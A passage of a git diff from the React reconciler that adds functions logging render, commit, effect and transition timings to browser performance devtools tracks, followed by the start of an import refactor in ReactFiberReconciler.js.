+        addValueToProperties('key', fiber.key, properties, 0, '');
+      }
+      if (fiber.memoizedProps !== null) {
+        addObjectToProperties(fiber.memoizedProps, properties, 0, '');
+      }
+      const options = {
+        start: startTime,
+        end: endTime,
+        detail: {
+          devtools: {
+            color: 'error',
+            track: COMPONENTS_TRACK,
+            tooltipText: 'A lifecycle or effect errored',
+            properties,
+          },
+        },
+      };
+      const debugTask = fiber._debugTask;
+      const measureName = '\u200b' + name;
+      if (debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          performance.measure.bind(performance, measureName, options),
+        );
+      } else {
+        performance.measure(measureName, options);
+      }
+      performance.clearMeasures(measureName);
+    } else {
+      console.timeStamp(
+        name,
+        startTime,
+        endTime,
+        COMPONENTS_TRACK,
+        undefined,
+        'error',
+      );
+    }
+  }
+}
+
+export function logComponentEffect(
+  fiber: Fiber,
+  startTime: number,
+  endTime: number,
+  selfTime: number,
+  errors: null | Array<CapturedValue<mixed>>,
+): void {
+  if (errors !== null) {
+    logComponentEffectErrored(fiber, startTime, endTime, errors);
+    return;
+  }
+  const name = getComponentNameFromFiber(fiber);
+  if (name === null) {
+    // Skip
+    return;
+  }
+  if (supportsUserTiming) {
+    const color =
+      selfTime < 1
+        ? 'secondary-light'
+        : selfTime < 100
+          ? 'secondary'
+          : selfTime < 500
+            ? 'secondary-dark'
+            : 'error';
+    const debugTask = fiber._debugTask;
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          name,
+          startTime,
+          endTime,
+          COMPONENTS_TRACK,
+          undefined,
+          color,
+        ),
+      );
+    } else {
+      console.timeStamp(
+        name,
+        startTime,
+        endTime,
+        COMPONENTS_TRACK,
+        undefined,
+        color,
+      );
+    }
+  }
+}
+
+export function logYieldTime(startTime: number, endTime: number): void {
+  if (supportsUserTiming) {
+    const yieldDuration = endTime - startTime;
+    if (yieldDuration < 3) {
+      // Skip sub-millisecond yields. This happens all the time and is not interesting.
+      return;
+    }
+    // Being blocked on CPU is potentially bad so we color it by how long it took.
+    const color =
+      yieldDuration < 5
+        ? 'primary-light'
+        : yieldDuration < 10
+          ? 'primary'
+          : yieldDuration < 100
+            ? 'primary-dark'
+            : 'error';
+    // This get logged in the components track if we don't commit which leaves them
+    // hanging by themselves without context. It's a useful indicator for why something
+    // might be starving this render though.
+    // TODO: Considering adding these to a queue and only logging them if we commit.
+    console.timeStamp(
+      'Blocked',
+      startTime,
+      endTime,
+      COMPONENTS_TRACK,
+      undefined,
+      color,
+    );
+  }
+}
+
+export function logSuspendedYieldTime(
+  startTime: number,
+  endTime: number,
+  suspendedFiber: Fiber,
+): void {
+  if (supportsUserTiming) {
+    const debugTask = suspendedFiber._debugTask;
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Suspended',
+          startTime,
+          endTime,
+          COMPONENTS_TRACK,
+          undefined,
+          'primary-light',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Suspended',
+        startTime,
+        endTime,
+        COMPONENTS_TRACK,
+        undefined,
+        'primary-light',
+      );
+    }
+  }
+}
+
+export function logActionYieldTime(
+  startTime: number,
+  endTime: number,
+  suspendedFiber: Fiber,
+): void {
+  if (supportsUserTiming) {
+    const debugTask = suspendedFiber._debugTask;
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Action',
+          startTime,
+          endTime,
+          COMPONENTS_TRACK,
+          undefined,
+          'primary-light',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Action',
+        startTime,
+        endTime,
+        COMPONENTS_TRACK,
+        undefined,
+        'primary-light',
+      );
+    }
+  }
+}
+
+export function logBlockingStart(
+  updateTime: number,
+  eventTime: number,
+  eventType: null | string,
+  eventIsRepeat: boolean,
+  isSpawnedUpdate: boolean,
+  isPingedUpdate: boolean,
+  renderStartTime: number,
+  lanes: Lanes,
+  debugTask: null | ConsoleTask, // DEV-only
+  updateMethodName: null | string,
+  updateComponentName: null | string,
+): void {
+  if (supportsUserTiming) {
+    currentTrack = 'Blocking';
+    // Clamp start times
+    if (updateTime > 0) {
+      if (updateTime > renderStartTime) {
+        updateTime = renderStartTime;
+      }
+    } else {
+      updateTime = renderStartTime;
+    }
+    if (eventTime > 0) {
+      if (eventTime > updateTime) {
+        eventTime = updateTime;
+      }
+    } else {
+      eventTime = updateTime;
+    }
+    // If a blocking update was spawned within render or an effect, that's considered a cascading render.
+    // If you have a second blocking update within the same event, that suggests multiple flushSync or
+    // setState in a microtask which is also considered a cascade.
+    if (eventType !== null && updateTime > eventTime) {
+      // Log the time from the event timeStamp until we called setState.
+      const color = eventIsRepeat ? 'secondary-light' : 'warning';
+      if (__DEV__ && debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          console.timeStamp.bind(
+            console,
+            eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,
+            eventTime,
+            updateTime,
+            currentTrack,
+            LANES_TRACK_GROUP,
+            color,
+          ),
+        );
+      } else {
+        console.timeStamp(
+          eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,
+          eventTime,
+          updateTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        );
+      }
+    }
+    if (renderStartTime > updateTime) {
+      // Log the time from when we called setState until we started rendering.
+      const color = isSpawnedUpdate
+        ? 'error'
+        : includesOnlyHydrationOrOffscreenLanes(lanes)
+          ? 'tertiary-light'
+          : 'primary-light';
+      const label = isPingedUpdate
+        ? 'Promise Resolved'
+        : isSpawnedUpdate
+          ? 'Cascading Update'
+          : renderStartTime - updateTime > 5
+            ? 'Update Blocked'
+            : 'Update';
+
+      if (__DEV__) {
+        const properties = [];
+        if (updateComponentName != null) {
+          properties.push(['Component name', updateComponentName]);
+        }
+        if (updateMethodName != null) {
+          properties.push(['Method name', updateMethodName]);
+        }
+        const measureOptions = {
+          start: updateTime,
+          end: renderStartTime,
+          detail: {
+            devtools: {
+              properties,
+              track: currentTrack,
+              trackGroup: LANES_TRACK_GROUP,
+              color,
+            },
+          },
+        };
+        if (enablePerformanceIssueReporting && isSpawnedUpdate) {
+          // $FlowFixMe[prop-missing] - detail is untyped
+          measureOptions.detail.devtools.performanceIssue =
+            reusableCascadingUpdateIssue;
+        }
+
+        if (debugTask) {
+          debugTask.run(
+            // $FlowFixMe[method-unbinding]
+            performance.measure.bind(performance, label, measureOptions),
+          );
+        } else {
+          performance.measure(label, measureOptions);
+        }
+        performance.clearMeasures(label);
+      } else {
+        console.timeStamp(
+          label,
+          updateTime,
+          renderStartTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        );
+      }
+    }
+  }
+}
+
+export function logGestureStart(
+  updateTime: number,
+  eventTime: number,
+  eventType: null | string,
+  eventIsRepeat: boolean,
+  isPingedUpdate: boolean,
+  renderStartTime: number,
+  debugTask: null | ConsoleTask, // DEV-only
+  updateMethodName: null | string,
+  updateComponentName: null | string,
+): void {
+  if (supportsUserTiming) {
+    currentTrack = 'Gesture';
+    // Clamp start times
+    if (updateTime > 0) {
+      if (updateTime > renderStartTime) {
+        updateTime = renderStartTime;
+      }
+    } else {
+      updateTime = renderStartTime;
+    }
+    if (eventTime > 0) {
+      if (eventTime > updateTime) {
+        eventTime = updateTime;
+      }
+    } else {
+      eventTime = updateTime;
+    }
+
+    if (updateTime > eventTime && eventType !== null) {
+      // Log the time from the event timeStamp until we started a gesture.
+      const color = eventIsRepeat ? 'secondary-light' : 'warning';
+      if (__DEV__ && debugTask) {
+        debugTask.run(
+          console.timeStamp.bind(
+            console,
+            eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,
+            eventTime,
+            updateTime,
+            currentTrack,
+            LANES_TRACK_GROUP,
+            color,
+          ),
+        );
+      } else {
+        console.timeStamp(
+          eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,
+          eventTime,
+          updateTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        );
+      }
+    }
+    if (renderStartTime > updateTime) {
+      // Log the time from when we called setState until we started rendering.
+      const label = isPingedUpdate
+        ? 'Promise Resolved'
+        : renderStartTime - updateTime > 5
+          ? 'Gesture Blocked'
+          : 'Gesture';
+      if (__DEV__) {
+        const properties = [];
+        if (updateComponentName != null) {
+          properties.push(['Component name', updateComponentName]);
+        }
+        if (updateMethodName != null) {
+          properties.push(['Method name', updateMethodName]);
+        }
+        const measureOptions = {
+          start: updateTime,
+          end: renderStartTime,
+          detail: {
+            devtools: {
+              properties,
+              track: currentTrack,
+              trackGroup: LANES_TRACK_GROUP,
+              color: 'primary-light',
+            },
+          },
+        };
+
+        if (debugTask) {
+          debugTask.run(
+            // $FlowFixMe[method-unbinding]
+            performance.measure.bind(performance, label, measureOptions),
+          );
+        } else {
+          performance.measure(label, measureOptions);
+        }
+        performance.clearMeasures(label);
+      } else {
+        console.timeStamp(
+          label,
+          updateTime,
+          renderStartTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'primary-light',
+        );
+      }
+    }
+  }
+}
+
+export function logTransitionStart(
+  startTime: number,
+  updateTime: number,
+  eventTime: number,
+  eventType: null | string,
+  eventIsRepeat: boolean,
+  isPingedUpdate: boolean,
+  renderStartTime: number,
+  debugTask: null | ConsoleTask, // DEV-only
+  updateMethodName: null | string,
+  updateComponentName: null | string,
+): void {
+  if (supportsUserTiming) {
+    currentTrack = 'Transition';
+    // Clamp start times
+    if (updateTime > 0) {
+      if (updateTime > renderStartTime) {
+        updateTime = renderStartTime;
+      }
+    } else {
+      updateTime = renderStartTime;
+    }
+    if (startTime > 0) {
+      if (startTime > updateTime) {
+        startTime = updateTime;
+      }
+    } else {
+      startTime = updateTime;
+    }
+    if (eventTime > 0) {
+      if (eventTime > startTime) {
+        eventTime = startTime;
+      }
+    } else {
+      eventTime = startTime;
+    }
+
+    if (startTime > eventTime && eventType !== null) {
+      // Log the time from the event timeStamp until we started a transition.
+      const color = eventIsRepeat ? 'secondary-light' : 'warning';
+      if (__DEV__ && debugTask) {
+        debugTask.run(
+          console.timeStamp.bind(
+            console,
+            eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,
+            eventTime,
+            startTime,
+            currentTrack,
+            LANES_TRACK_GROUP,
+            color,
+          ),
+        );
+      } else {
+        console.timeStamp(
+          eventIsRepeat ? 'Consecutive' : 'Event: ' + eventType,
+          eventTime,
+          startTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        );
+      }
+    }
+    if (updateTime > startTime) {
+      // Log the time from when we started an async transition until we called setState or started rendering.
+      // TODO: Ideally this would use the debugTask of the startTransition call perhaps.
+      if (__DEV__ && debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          console.timeStamp.bind(
+            console,
+            'Action',
+            startTime,
+            updateTime,
+            currentTrack,
+            LANES_TRACK_GROUP,
+            'primary-dark',
+          ),
+        );
+      } else {
+        console.timeStamp(
+          'Action',
+          startTime,
+          updateTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'primary-dark',
+        );
+      }
+    }
+    if (renderStartTime > updateTime) {
+      // Log the time from when we called setState until we started rendering.
+      const label = isPingedUpdate
+        ? 'Promise Resolved'
+        : renderStartTime - updateTime > 5
+          ? 'Update Blocked'
+          : 'Update';
+      if (__DEV__) {
+        const properties = [];
+        if (updateComponentName != null) {
+          properties.push(['Component name', updateComponentName]);
+        }
+        if (updateMethodName != null) {
+          properties.push(['Method name', updateMethodName]);
+        }
+        const measureOptions = {
+          start: updateTime,
+          end: renderStartTime,
+          detail: {
+            devtools: {
+              properties,
+              track: currentTrack,
+              trackGroup: LANES_TRACK_GROUP,
+              color: 'primary-light',
+            },
+          },
+        };
+
+        if (debugTask) {
+          debugTask.run(
+            // $FlowFixMe[method-unbinding]
+            performance.measure.bind(performance, label, measureOptions),
+          );
+        } else {
+          performance.measure(label, measureOptions);
+        }
+        performance.clearMeasures(label);
+      } else {
+        console.timeStamp(
+          label,
+          updateTime,
+          renderStartTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'primary-light',
+        );
+      }
+    }
+  }
+}
+
+export function logRenderPhase(
+  startTime: number,
+  endTime: number,
+  lanes: Lanes,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    const color = includesOnlyHydrationOrOffscreenLanes(lanes)
+      ? 'tertiary-dark'
+      : 'primary-dark';
+    const label = includesOnlyOffscreenLanes(lanes)
+      ? 'Prepared'
+      : includesOnlyHydrationLanes(lanes)
+        ? 'Hydrated'
+        : 'Render';
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          label,
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        ),
+      );
+    } else {
+      console.timeStamp(
+        label,
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        color,
+      );
+    }
+  }
+}
+
+export function logInterruptedRenderPhase(
+  startTime: number,
+  endTime: number,
+  lanes: Lanes,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    const color = includesOnlyHydrationOrOffscreenLanes(lanes)
+      ? 'tertiary-dark'
+      : 'primary-dark';
+    const label = includesOnlyOffscreenLanes(lanes)
+      ? 'Prewarm'
+      : includesOnlyHydrationLanes(lanes)
+        ? 'Interrupted Hydration'
+        : 'Interrupted Render';
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          label,
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        ),
+      );
+    } else {
+      console.timeStamp(
+        label,
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        color,
+      );
+    }
+  }
+}
+
+export function logSuspendedRenderPhase(
+  startTime: number,
+  endTime: number,
+  lanes: Lanes,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    const color = includesOnlyHydrationOrOffscreenLanes(lanes)
+      ? 'tertiary-dark'
+      : 'primary-dark';
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Prewarm',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Prewarm',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        color,
+      );
+    }
+  }
+}
+
+export function logSuspendedWithDelayPhase(
+  startTime: number,
+  endTime: number,
+  lanes: Lanes,
+  debugTask: null | ConsoleTask,
+): void {
+  // This means the render was suspended and cannot commit until it gets unblocked.
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    const color = includesOnlyHydrationOrOffscreenLanes(lanes)
+      ? 'tertiary-dark'
+      : 'primary-dark';
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Suspended',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          color,
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Suspended',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        color,
+      );
+    }
+  }
+}
+
+export function logRecoveredRenderPhase(
+  startTime: number,
+  endTime: number,
+  lanes: Lanes,
+  recoverableErrors: Array<CapturedValue<mixed>>,
+  hydrationFailed: boolean,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__) {
+      const properties: Array<[string, string]> = [];
+      for (let i = 0; i < recoverableErrors.length; i++) {
+        const capturedValue = recoverableErrors[i];
+        const error = capturedValue.value;
+        const message =
+          typeof error === 'object' &&
+          error !== null &&
+          typeof error.message === 'string'
+            ? // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error.message)
+            : // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error);
+        properties.push(['Recoverable Error', message]);
+      }
+      const options: PerformanceMeasureOptions = {
+        start: startTime,
+        end: endTime,
+        detail: {
+          devtools: {
+            color: 'primary-dark',
+            track: currentTrack,
+            trackGroup: LANES_TRACK_GROUP,
+            tooltipText: hydrationFailed
+              ? 'Hydration Failed'
+              : 'Recovered after Error',
+            properties,
+          },
+        },
+      };
+      if (debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          performance.measure.bind(performance, 'Recovered', options),
+        );
+      } else {
+        performance.measure('Recovered', options);
+      }
+      performance.clearMeasures('Recovered');
+    } else {
+      console.timeStamp(
+        'Recovered',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'error',
+      );
+    }
+  }
+}
+
+export function logErroredRenderPhase(
+  startTime: number,
+  endTime: number,
+  lanes: Lanes,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Errored',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'error',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Errored',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'error',
+      );
+    }
+  }
+}
+
+export function logInconsistentRender(
+  startTime: number,
+  endTime: number,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Teared Render',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'error',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Teared Render',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'error',
+      );
+    }
+  }
+}
+
+export function logSuspendedCommitPhase(
+  startTime: number,
+  endTime: number,
+  reason: string,
+  debugTask: null | ConsoleTask,
+): void {
+  // This means the commit was suspended on CSS or images.
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    // TODO: Include the exact reason and URLs of what resources suspended.
+    // TODO: This might also be Suspended while waiting on a View Transition.
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          reason,
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'secondary-light',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        reason,
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'secondary-light',
+      );
+    }
+  }
+}
+
+export function logSuspendedViewTransitionPhase(
+  startTime: number,
+  endTime: number,
+  reason: string,
+  debugTask: null | ConsoleTask,
+): void {
+  // This means the commit was suspended on CSS or images.
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    // TODO: Include the exact reason and URLs of what resources suspended.
+    // TODO: This might also be Suspended while waiting on a View Transition.
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          reason,
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'secondary-light',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        reason,
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'secondary-light',
+      );
+    }
+  }
+}
+
+export function logCommitErrored(
+  startTime: number,
+  endTime: number,
+  errors: Array<CapturedValue<mixed>>,
+  passive: boolean,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__) {
+      const properties: Array<[string, string]> = [];
+      for (let i = 0; i < errors.length; i++) {
+        const capturedValue = errors[i];
+        const error = capturedValue.value;
+        const message =
+          typeof error === 'object' &&
+          error !== null &&
+          typeof error.message === 'string'
+            ? // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error.message)
+            : // eslint-disable-next-line react-internal/safe-string-coercion
+              String(error);
+        properties.push(['Error', message]);
+      }
+      const options: PerformanceMeasureOptions = {
+        start: startTime,
+        end: endTime,
+        detail: {
+          devtools: {
+            color: 'error',
+            track: currentTrack,
+            trackGroup: LANES_TRACK_GROUP,
+            tooltipText: passive
+              ? 'Remaining Effects Errored'
+              : 'Commit Errored',
+            properties,
+          },
+        },
+      };
+      if (debugTask) {
+        debugTask.run(
+          // $FlowFixMe[method-unbinding]
+          performance.measure.bind(performance, 'Errored', options),
+        );
+      } else {
+        performance.measure('Errored', options);
+      }
+      performance.clearMeasures('Errored');
+    } else {
+      console.timeStamp(
+        'Errored',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'error',
+      );
+    }
+  }
+}
+
+export function logCommitPhase(
+  startTime: number,
+  endTime: number,
+  errors: null | Array<CapturedValue<mixed>>,
+  abortedViewTransition: boolean,
+  debugTask: null | ConsoleTask,
+): void {
+  if (errors !== null) {
+    logCommitErrored(startTime, endTime, errors, false, debugTask);
+    return;
+  }
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          abortedViewTransition
+            ? 'Commit Interrupted View Transition'
+            : 'Commit',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          abortedViewTransition ? 'error' : 'secondary-dark',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        abortedViewTransition ? 'Commit Interrupted View Transition' : 'Commit',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        abortedViewTransition ? 'error' : 'secondary-dark',
+      );
+    }
+  }
+}
+
+export function logPaintYieldPhase(
+  startTime: number,
+  endTime: number,
+  delayedUntilPaint: boolean,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          delayedUntilPaint ? 'Waiting for Paint' : 'Waiting',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'secondary-light',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        delayedUntilPaint ? 'Waiting for Paint' : 'Waiting',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'secondary-light',
+      );
+    }
+  }
+}
+
+export function logApplyGesturePhase(
+  startTime: number,
+  endTime: number,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Create Ghost Tree',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'secondary-dark',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Create Ghost Tree',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'secondary-dark',
+      );
+    }
+  }
+}
+
+export function logStartViewTransitionYieldPhase(
+  startTime: number,
+  endTime: number,
+  abortedViewTransition: boolean,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          abortedViewTransition
+            ? 'Interrupted View Transition'
+            : 'Starting Animation',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          abortedViewTransition ? 'error' : 'secondary-light',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        abortedViewTransition
+          ? 'Interrupted View Transition'
+          : 'Starting Animation',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        abortedViewTransition ? ' error' : 'secondary-light',
+      );
+    }
+  }
+}
+
+export function logAnimatingPhase(
+  startTime: number,
+  endTime: number,
+  debugTask: null | ConsoleTask,
+): void {
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Animating',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'secondary-dark',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Animating',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'secondary-dark',
+      );
+    }
+  }
+}
+
+export function logPassiveCommitPhase(
+  startTime: number,
+  endTime: number,
+  errors: null | Array<CapturedValue<mixed>>,
+  debugTask: null | ConsoleTask,
+): void {
+  if (errors !== null) {
+    logCommitErrored(startTime, endTime, errors, true, debugTask);
+    return;
+  }
+  if (supportsUserTiming) {
+    if (endTime <= startTime) {
+      return;
+    }
+    if (__DEV__ && debugTask) {
+      debugTask.run(
+        // $FlowFixMe[method-unbinding]
+        console.timeStamp.bind(
+          console,
+          'Remaining Effects',
+          startTime,
+          endTime,
+          currentTrack,
+          LANES_TRACK_GROUP,
+          'secondary-dark',
+        ),
+      );
+    } else {
+      console.timeStamp(
+        'Remaining Effects',
+        startTime,
+        endTime,
+        currentTrack,
+        LANES_TRACK_GROUP,
+        'secondary-dark',
+      );
+    }
+  }
+}
diff --git a/packages/react-reconciler/src/ReactFiberReconciler.js b/packages/react-reconciler/src/ReactFiberReconciler.js
index 4d793f9c6087..4a36b39c43c8 100644
--- a/packages/react-reconciler/src/ReactFiberReconciler.js
+++ b/packages/react-reconciler/src/ReactFiberReconciler.js
@@ -15,14 +15,13 @@ import type {
 } from './ReactInternalTypes';
 import type {RootTag} from './ReactRootTags';
 import type {
-  Instance,
-  TextInstance,
   Container,
   PublicInstance,
   RendererInspectionConfig,
 } from './ReactFiberConfig';
 import type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';
 import type {Lane} from './ReactFiberLane';
+import type {ActivityState} from './ReactFiberActivityComponent';
 import type {SuspenseState} from './ReactFiberSuspenseComponent';
 
 import {LegacyRoot} from './ReactRootTags';
@@ -37,25 +36,36 @@ import {
   ClassComponent,
   HostRoot,
   SuspenseComponent,
+  ActivityComponent,
 } from './ReactWorkTags';
 import getComponentNameFromFiber from 'react-reconciler/src/getComponentNameFromFiber';
 import isArray from 'shared/isArray';
-import {enableSchedulingProfiler} from 'shared/ReactFeatureFlags';
+import {
+  enableSchedulingProfiler,
+  disableLegacyMode,
+} from 'shared/ReactFeatureFlags';
 import ReactSharedInternals from 'shared/ReactSharedInternals';
-import {getPublicInstance} from './ReactFiberConfig';
+import {
+  getPublicInstance,
+  rendererVersion,
+  rendererPackageName,
+  extraDevToolsConfig,
+} from './ReactFiberConfig';
 import {
   findCurrentUnmaskedContext,
   processChildContext,
   emptyContextObject,
   isContextProvider as isLegacyContextProvider,
-} from './ReactFiberContext';
+} from './ReactFiberLegacyContext';
 import {createFiberRoot} from './ReactFiberRoot';
 import {isRootDehydrated} from './ReactFiberShellHydration';
 import {
   injectInternals,
   markRenderScheduled,
   onScheduleRoot,
+  injectProfilingHooks,
 } from './ReactFiberDevToolsHook';
+import {startUpdateTimerByLane} from './ReactProfilerTimer';
 import {
   requestUpdateLane,
   scheduleUpdateOnFiber,
@@ -67,7 +77,7 @@ import {
   isAlreadyRendering,
   deferredUpdates,
   discreteUpdates,
-  flushPassiveEffects,
+  flushPendingEffects,
 } from './ReactFiberWorkLoop';
 import {enqueueConcurrentRenderForLane} from './ReactFiberConcurrentUpdates';
 import {
@@ -86,12 +96,13 @@ import {
   SelectiveHydrationLane,
   getHighestPriorityPendingLanes,
   higherPriorityLane,
+  getBumpedLaneForHydrationByLane,
+  claimNextRetryLane,
 } from './ReactFiberLane';
 import {
   scheduleRefresh,
   scheduleRoot,
   setRefreshHandler,
-  findHostInstancesForRefresh,
 } from './ReactFiberHotReloading';
 import ReactVersion from 'shared/ReactVersion';
 export {createPortal} from './ReactPortal';
@@ -113,23 +124,11 @@ export {
   defaultOnCaughtError,
   defaultOnRecoverableError,
 } from './ReactFiberErrorLogger';
+import {getLabelForLane, TotalLanes} from 'react-reconciler/src/ReactFiberLane';
+import {registerDefaultIndicator} from './ReactFiberAsyncAction';
 
 type OpaqueRoot = FiberRoot;
 
-// 0 is PROD, 1 is DEV.
-// Might add PROFILE later.
-type BundleType = 0 | 1;
-
-type DevToolsConfig = {
-  bundleType: BundleType,
-  version: string,
-  rendererPackageName: string,
-  // Note: this actually *does* depend on Fiber internal fields.
-  // Used by "inspect clicked DOM element" in React DevTools.
-  findFiberByHostInstance?: (instance: Instance | TextInstance) => Fiber | null,
-  rendererConfig?: RendererInspectionConfig,
-};
-
 let didWarnAboutNestedUpdates;
 let didWarnAboutFindNodeInStrictMode;
 
@@ -139,7 +138,7 @@ if (__DEV__) {
 }
 
 function getContextForSubtree(
-  parentComponent: ?React$Component<any, any>,
